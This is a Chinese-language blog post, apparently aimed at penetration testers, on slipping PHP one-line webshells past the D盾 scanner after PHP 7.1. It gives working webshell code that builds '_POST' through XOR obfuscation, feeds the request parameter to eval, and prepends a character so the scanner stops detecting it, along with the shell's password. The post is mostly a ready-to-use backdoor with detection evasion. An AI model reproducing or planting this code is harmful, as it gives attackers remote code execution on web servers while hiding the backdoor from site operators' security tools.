close

嚴格的D盾

D盾說,我是個嚴格的人,看到eval我就報木馬,「看着像「=」就是「木馬,寧可錯殺一千,絕不放過一個。好了,多說無益,一起看看嚴格的D盾是如何錯殺的。

我隨手寫一個php文件:代碼如下:

<?phpfunction encode($para0){return $para0; } $b = encode("aaaa"); $a = "ccc";eval($a);?>

很明顯沒有傳參呀,GET和POST都沒有,壓根兒就不是木馬的,但是D盾竟然給我直接報了已知後門,我哭遼,如下:

大家最初的繞過應該大多都是基於」assert」的拆分和隱藏繞過的,但是在php7.1後assert已經被移除了,那麼我們這些滲透測試er該何去何從呢?,能否找到新的技巧呢?當然,技巧千千萬,找一些少見的函數,少見的特殊字符都是不錯的選擇。但是我們能否藉助在php7.1之前的隱藏和拆分」assert「的思路呢?答案是肯定的,我們可以嘗試隱藏和拆分傳入eval中的參數來直面eval函數繞過。

隱藏POST和GET

在php7.1之後,如果我們轉換思路,不再糾結於隱藏assert,eval等命令執行函數(因為assert已經失效,也無法隱藏了,無需隱藏了),而是直接面對eval,在我上述的例子中大家很容易看到,我就隨便往eval中傳了一個參數「ccc」,D盾就直接報已知後門了,這足以說明D盾對傳入eavl參數的敏感性太高了。那麼此時,我們隱藏一下我們一句話木馬中常用和必須的GET和POST就有必要了。於是編寫如下木馬:(註明:此木馬D盾會報一級可疑)

$a = "~+d()"^"!{+{}";$b = ${$a}[a];eval($b);

簡單解釋一下:

變量$a的值我是利用異或賦值的,$a = "~+d()"^"!{+{}";,而字符串"~+d()"^"!{+{}"異或的結果為_POST,我直接輸出給大家看看:

echo $a即為如下結果:

然後$b = ${$a}[a];與$b = $_POST[a]等價,在將其傳入eval()中,我們就成功了第一步,我們已經使得D盾報木馬的級別降低了,由」5級 已知後門「變為」1級可疑(內藏)Eval後門{參數:$b(未知內容)}「了,哈哈,這就說明此時我們已經成功隱藏了我們所傳入的參數,但是D盾在這裡有點「我不認識的都可疑,寧可錯殺一千,絕不放過一個了」,既然D盾這麼較真,我們也較真點,徹底繞過。

經過上述測試發現,D盾只要在eval函數內發現了它未能識別的參數就會報出可疑,未知內容,又由於我們從一開始的切入點就是eval中的參數,所以此時我依舊針對eval中的參數進行處理:處理後的結果如下:

<?php $a = "~+d()"^"!{+{}"; $b = ${$a}[a];eval("n".$b);?>

我們僅僅在參數$b的前面加上「n"就成功繞過了,當然同理,你也可以在參數$b的前面加上""、"t"、"r"等等也是可以繞過的。

木馬密碼:a

d盾掃描結果:

總結

在php7.1之後,顯而易見的是免殺的難度大大增加了,因為靈活的assert被拋棄了,我們再也沒有辦法通過回調函數調用assert,或者其他的方式隱藏,拆分,調用assert,隱蔽的傳參給assert。這個時候我們必須直面eval了,從傳入eval的參數入手,隱藏GET和POST,配合一些特殊字符打亂正則,方可達到繞過檢測的目的。當然也不排除使用特殊函數繞過。現在還能大量發表繞過的方法完全是因為現在還沒有完全過度到php7.1之後,等到完全過度到php7.1之後估計大家的免殺馬都要捂着用了,因為免殺的難度和代價變大了。此文供大家日後面對php7.1之後的環境參考繞過。


- 結尾 -
精彩推薦
【技術分享】Phar與Stream Wrapper造成PHP RCE的深入挖掘
【技術分享】偽造面向對象編程——COOP
【技術分享】工控安全入門(八)—— 設備驅動與通信分析
戳「閱讀原文」查看更多內容
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()